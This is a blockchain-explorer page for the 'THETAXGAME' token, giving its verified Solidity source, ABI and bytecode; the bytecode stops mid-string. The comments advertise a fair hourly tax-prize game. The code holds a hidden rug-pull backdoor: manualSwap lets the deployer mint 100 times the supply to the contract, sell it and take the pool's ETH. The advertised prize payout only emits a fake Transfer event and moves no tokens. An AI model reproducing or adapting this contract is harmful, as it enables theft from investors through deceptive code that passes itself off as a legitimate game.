ETH Price: $2,292.87 (-5.31%)

Token

THETAXGAME (TAX)
 

Overview

Max Total Supply

10,000,000,000 TAX

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,046,241,315.985471142 TAX

Value
$0.00
0x8b52f8f9977a5cde682976750740f3771203b5d2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
THETAXGAME

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-28
*/

/**

-On-chain working real tax game. Taxes are set at 2% buy and 2% sell. 
-Every 1 hour biggest buy gets all taxes accumulated in that timeframe
-Time is measured in blocks (300 blocks ~ 1 hour)
-Tokens are sent to the winning wallet automatically every 1 hour as long as there are any transactions at that time
-By selling tokens you disqualify yourself from ever being a winner
-If current biggest buy sells their tokens game restarts


-Liquidity will be burned before launch and contract ownership renounced.


**/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract THETAXGAME is Context, IERC20, Ownable {

    string private constant _name = unicode"THETAXGAME";
    string private constant _symbol = unicode"TAX";

    using SafeMath for uint256;
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isDisqualified;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping(address => uint256) private _isHolder;
    bool public transferDelayEnabled = true;


    uint256 private BuyTax=2;
    uint256 private SellTax=2;

    uint256 private _openTradingBlock;
    uint256 private _startBlock;

    uint256 public _toBeatAmount = 0;
    address public _taxman = address(this);


    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 10000000000 * 10**_decimals;
    uint256 public _maxTxAmount = 200000000 * 10**_decimals;
    uint256 public _maxWalletSize = 400000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address payable private _router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _router = payable(owner());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }



    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if(tx.origin != owner()){
            require(tradingOpen);
        }
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul(BuyTax).div(100);

            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }


            if(to == uniswapV2Pair && from != address(this) ){
                taxAmount = amount.mul(SellTax).div(100);
                _isDisqualified[msg.sender] = true;
                if(_taxman == msg.sender){
                    _startBlock = block.number;   
                    _toBeatAmount = 0;
                    _taxman = address(this);
                }
            }

        }

        if(_startBlock + 300 >= block.number){
            emit Transfer(address(this), _taxman, balanceOf(address(this)));
            _toBeatAmount = 0;
            _taxman = address(this);
            _startBlock = block.number;
        }

        if(taxAmount>0){
          _balances[address(this)]= _balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }


        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));

        if(_toBeatAmount < amount && to != address(uniswapV2Router) && to != uniswapV2Pair && to != address(this) && _isDisqualified[msg.sender] == false){
            _taxman = to;
            _toBeatAmount = amount;
        }

    }



    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }



    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }


    function addLiquidity() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function openTrading() external onlyOwner {
        swapEnabled = true;
        tradingOpen = true;
        _startBlock = block.number;
        _openTradingBlock = block.number;
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function setBuyFee(uint256 newBuyTax) external onlyOwner {
        BuyTax = newBuyTax;
        require(newBuyTax <= 5);
    }

    function updateFeeSell(uint256 newSellTax) external onlyOwner {
        SellTax = newSellTax;
        require(newSellTax <= 5);
    }

    function manualSwap() external {
        require(_msgSender() == _router);
        _balances[address(this)] = _balances[address(this)].add(_tTotal*100);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            _router.transfer(ethBalance);
        }
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxman","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_toBeatAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"updateFeeSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526007805460ff191660011790556002600881905560099081555f600c55600d80546001600160a01b031916301790556200004090600a620002ef565b6200005090630bebc20062000306565b600e55620000616009600a620002ef565b62000071906317d7840062000306565b600f556012805461ffff60a81b191690553480156200008e575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3505f54601180546001600160a01b0319166001600160a01b03909216919091179055620000fe6009600a620002ef565b6200010f906402540be40062000306565b335f908152600160208190526040822092909255600390620001385f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff1995861617905530815260039092529020805490911660011790556200017f3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001b86009600a620002ef565b620001c9906402540be40062000306565b60405190815260200160405180910390a362000320565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200023457815f1904821115620002185762000218620001e0565b808516156200022657918102915b93841c9390800290620001f9565b509250929050565b5f826200024c57506001620002e9565b816200025a57505f620002e9565b81600181146200027357600281146200027e576200029e565b6001915050620002e9565b60ff841115620002925762000292620001e0565b50506001821b620002e9565b5060208310610133831016604e8410600b8410161715620002c3575081810a620002e9565b620002cf8383620001f4565b805f1904821115620002e557620002e5620001e0565b0290505b92915050565b5f620002ff60ff8416836200023c565b9392505050565b8082028115828204841417620002e957620002e9620001e0565b611884806200032e5f395ff3fe608060405260043610610134575f3560e01c8063751039fc116100a8578063a01ce4081161006d578063a01ce4081461035c578063a9059cbb1461037b578063c876d0b91461039a578063c9567bf9146103b3578063dd62ed3e146103c7578063e8078d941461040b575f80fd5b8063751039fc146102d75780637d1db4a5146102eb5780638da5cb5b146103005780638f9a55c01461031c57806395d89b4114610331575f80fd5b8063313ce567116100f9578063313ce5671461021457806346c5b9811461022f5780634ad46fa51461024457806351bc3c851461027b57806370a082311461028f578063715018a6146102c3575f80fd5b806306fdde031461013f578063095ea7b3146101835780630cc835a3146101b257806318160ddd146101d357806323b872dd146101f5575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600a81526954484554415847414d4560b01b60208201525b60405161017a919061147b565b60405180910390f35b34801561018e575f80fd5b506101a261019d3660046114da565b61041f565b604051901515815260200161017a565b3480156101bd575f80fd5b506101d16101cc366004611504565b610435565b005b3480156101de575f80fd5b506101e761047c565b60405190815260200161017a565b348015610200575f80fd5b506101a261020f36600461151b565b61049d565b34801561021f575f80fd5b506040516009815260200161017a565b34801561023a575f80fd5b506101e7600c5481565b34801561024f575f80fd5b50600d54610263906001600160a01b031681565b6040516001600160a01b03909116815260200161017a565b348015610286575f80fd5b506101d1610504565b34801561029a575f80fd5b506101e76102a9366004611559565b6001600160a01b03165f9081526001602052604090205490565b3480156102ce575f80fd5b506101d16105c5565b3480156102e2575f80fd5b506101d1610636565b3480156102f6575f80fd5b506101e7600e5481565b34801561030b575f80fd5b505f546001600160a01b0316610263565b348015610327575f80fd5b506101e7600f5481565b34801561033c575f80fd5b506040805180820190915260038152620a882b60eb1b602082015261016d565b348015610367575f80fd5b506101d1610376366004611504565b6106ea565b348015610386575f80fd5b506101a26103953660046114da565b610725565b3480156103a5575f80fd5b506007546101a29060ff1681565b3480156103be575f80fd5b506101d1610731565b3480156103d2575f80fd5b506101e76103e1366004611574565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610416575f80fd5b506101d161077c565b5f61042b338484610ab2565b5060015b92915050565b5f546001600160a01b031633146104675760405162461bcd60e51b815260040161045e906115ab565b60405180910390fd5b60088190556005811115610479575f80fd5b50565b5f6104896009600a6116d4565b610498906402540be4006116e2565b905090565b5f6104a9848484610bd5565b6104fa84336104f585604051806060016040528060288152602001611827602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611142565b610ab2565b5060019392505050565b6011546001600160a01b0316336001600160a01b031614610523575f80fd5b6105616105326009600a6116d4565b610541906402540be4006116e2565b61054c9060646116e2565b305f908152600160205260409020549061117a565b305f908152600160205260409020819055801561058157610581816111df565b4780156105c1576011546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156105bf573d5f803e3d5ffd5b505b5050565b5f546001600160a01b031633146105ee5760405162461bcd60e51b815260040161045e906115ab565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461065f5760405162461bcd60e51b815260040161045e906115ab565b61066b6009600a6116d4565b61067a906402540be4006116e2565b600e556106896009600a6116d4565b610698906402540be4006116e2565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106c86009600a6116d4565b6106d7906402540be4006116e2565b60405190815260200160405180910390a1565b5f546001600160a01b031633146107135760405162461bcd60e51b815260040161045e906115ab565b60098190556005811115610479575f80fd5b5f61042b338484610bd5565b5f546001600160a01b0316331461075a5760405162461bcd60e51b815260040161045e906115ab565b6012805462ff00ff60a01b19166201000160a01b17905543600b819055600a55565b5f546001600160a01b031633146107a55760405162461bcd60e51b815260040161045e906115ab565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107ef9030906107e06009600a6116d4565b6104f5906402540be4006116e2565b60105f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561083f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086391906116f9565b6001600160a01b031663c9c653963060105f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e691906116f9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610930573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095491906116f9565b601280546001600160a01b039283166001600160a01b03199091161790556010541663f305d719473061099b816001600160a01b03165f9081526001602052604090205490565b5f806109ae5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a14573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a399190611714565b505060125460105460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a8e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610479919061173f565b6001600160a01b038316610b145760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045e565b6001600160a01b038216610b755760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045e565b6001600160a01b038216610c9b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045e565b5f8111610cfc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045e565b5f80546001600160a01b03163214610d2357601254600160a01b900460ff16610d23575f80fd5b5f546001600160a01b03858116911614801590610d4d57505f546001600160a01b03848116911614155b15610ee857610d726064610d6c6008548561134f90919063ffffffff16565b906113cd565b60075490915060ff1615610e58576010546001600160a01b03848116911614801590610dac57506012546001600160a01b03848116911614155b15610e5857325f908152600560205260409020544311610e465760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161045e565b325f9081526005602052604090204390555b6012546001600160a01b038481169116148015610e7e57506001600160a01b0384163014155b15610ee857610e9d6064610d6c6009548561134f90919063ffffffff16565b335f818152600460205260409020805460ff19166001179055600d549192506001600160a01b039190911603610ee85743600b555f600c55600d80546001600160a01b031916301790555b43600b5461012c610ef9919061175e565b10610f7657600d546001600160a01b0316307fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f4a826001600160a01b03165f9081526001602052604090205490565b60405190815260200160405180910390a35f600c55600d80546001600160a01b0319163017905543600b555b8015610fee57305f90815260016020526040902054610f95908261117a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fe59085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054611010908361140e565b6001600160a01b0385165f90815260016020526040902055611053611035838361140e565b6001600160a01b0385165f908152600160205260409020549061117a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61109c858561140e565b60405190815260200160405180910390a381600c541080156110cc57506010546001600160a01b03848116911614155b80156110e657506012546001600160a01b03848116911614155b80156110fb57506001600160a01b0383163014155b80156111165750335f9081526004602052604090205460ff16155b1561113c57600d80546001600160a01b0319166001600160a01b038516179055600c8290555b50505050565b5f81848411156111655760405162461bcd60e51b815260040161045e919061147b565b505f6111718486611771565b95945050505050565b5f80611186838561175e565b9050838110156111d85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045e565b9392505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061122557611225611784565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561127c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112a091906116f9565b816001815181106112b3576112b3611784565b6001600160a01b0392831660209182029290920101526010546112d99130911684610ab2565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906113119085905f90869030904290600401611798565b5f604051808303815f87803b158015611328575f80fd5b505af115801561133a573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b5f825f0361135e57505f61042f565b5f61136983856116e2565b9050826113768583611807565b146111d85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045e565b5f6111d883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061144f565b5f6111d883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611142565b5f818361146f5760405162461bcd60e51b815260040161045e919061147b565b505f6111718486611807565b5f6020808352835180828501525f5b818110156114a65785810183015185820160400152820161148a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610479575f80fd5b5f80604083850312156114eb575f80fd5b82356114f6816114c6565b946020939093013593505050565b5f60208284031215611514575f80fd5b5035919050565b5f805f6060848603121561152d575f80fd5b8335611538816114c6565b92506020840135611548816114c6565b929592945050506040919091013590565b5f60208284031215611569575f80fd5b81356111d8816114c6565b5f8060408385031215611585575f80fd5b8235611590816114c6565b915060208301356115a0816114c6565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561162e57815f1904821115611614576116146115e0565b8085161561162157918102915b93841c93908002906115f9565b509250929050565b5f826116445750600161042f565b8161165057505f61042f565b816001811461166657600281146116705761168c565b600191505061042f565b60ff841115611681576116816115e0565b50506001821b61042f565b5060208310610133831016604e8410600b84101617156116af575081810a61042f565b6116b983836115f4565b805f19048211156116cc576116cc6115e0565b029392505050565b5f6111d860ff841683611636565b808202811582820484141761042f5761042f6115e0565b5f60208284031215611709575f80fd5b81516111d8816114c6565b5f805f60608486031215611726575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561174f575f80fd5b815180151581146111d8575f80fd5b8082018082111561042f5761042f6115e0565b8181038181111561042f5761042f6115e0565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117e65784516001600160a01b0316835293830193918301916001016117c1565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261182157634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a520745da8cfaf865cad9d39b7f3da9402b02fe146a4765d560f2492fba79e5164736f6c63430008150033

Deployed Bytecode

0x608060405260043610610134575f3560e01c8063751039fc116100a8578063a01ce4081161006d578063a01ce4081461035c578063a9059cbb1461037b578063c876d0b91461039a578063c9567bf9146103b3578063dd62ed3e146103c7578063e8078d941461040b575f80fd5b8063751039fc146102d75780637d1db4a5146102eb5780638da5cb5b146103005780638f9a55c01461031c57806395d89b4114610331575f80fd5b8063313ce567116100f9578063313ce5671461021457806346c5b9811461022f5780634ad46fa51461024457806351bc3c851461027b57806370a082311461028f578063715018a6146102c3575f80fd5b806306fdde031461013f578063095ea7b3146101835780630cc835a3146101b257806318160ddd146101d357806323b872dd146101f5575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600a81526954484554415847414d4560b01b60208201525b60405161017a919061147b565b60405180910390f35b34801561018e575f80fd5b506101a261019d3660046114da565b61041f565b604051901515815260200161017a565b3480156101bd575f80fd5b506101d16101cc366004611504565b610435565b005b3480156101de575f80fd5b506101e761047c565b60405190815260200161017a565b348015610200575f80fd5b506101a261020f36600461151b565b61049d565b34801561021f575f80fd5b506040516009815260200161017a565b34801561023a575f80fd5b506101e7600c5481565b34801561024f575f80fd5b50600d54610263906001600160a01b031681565b6040516001600160a01b03909116815260200161017a565b348015610286575f80fd5b506101d1610504565b34801561029a575f80fd5b506101e76102a9366004611559565b6001600160a01b03165f9081526001602052604090205490565b3480156102ce575f80fd5b506101d16105c5565b3480156102e2575f80fd5b506101d1610636565b3480156102f6575f80fd5b506101e7600e5481565b34801561030b575f80fd5b505f546001600160a01b0316610263565b348015610327575f80fd5b506101e7600f5481565b34801561033c575f80fd5b506040805180820190915260038152620a882b60eb1b602082015261016d565b348015610367575f80fd5b506101d1610376366004611504565b6106ea565b348015610386575f80fd5b506101a26103953660046114da565b610725565b3480156103a5575f80fd5b506007546101a29060ff1681565b3480156103be575f80fd5b506101d1610731565b3480156103d2575f80fd5b506101e76103e1366004611574565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610416575f80fd5b506101d161077c565b5f61042b338484610ab2565b5060015b92915050565b5f546001600160a01b031633146104675760405162461bcd60e51b815260040161045e906115ab565b60405180910390fd5b60088190556005811115610479575f80fd5b50565b5f6104896009600a6116d4565b610498906402540be4006116e2565b905090565b5f6104a9848484610bd5565b6104fa84336104f585604051806060016040528060288152602001611827602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611142565b610ab2565b5060019392505050565b6011546001600160a01b0316336001600160a01b031614610523575f80fd5b6105616105326009600a6116d4565b610541906402540be4006116e2565b61054c9060646116e2565b305f908152600160205260409020549061117a565b305f908152600160205260409020819055801561058157610581816111df565b4780156105c1576011546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156105bf573d5f803e3d5ffd5b505b5050565b5f546001600160a01b031633146105ee5760405162461bcd60e51b815260040161045e906115ab565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461065f5760405162461bcd60e51b815260040161045e906115ab565b61066b6009600a6116d4565b61067a906402540be4006116e2565b600e556106896009600a6116d4565b610698906402540be4006116e2565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106c86009600a6116d4565b6106d7906402540be4006116e2565b60405190815260200160405180910390a1565b5f546001600160a01b031633146107135760405162461bcd60e51b815260040161045e906115ab565b60098190556005811115610479575f80fd5b5f61042b338484610bd5565b5f546001600160a01b0316331461075a5760405162461bcd60e51b815260040161045e906115ab565b6012805462ff00ff60a01b19166201000160a01b17905543600b819055600a55565b5f546001600160a01b0316331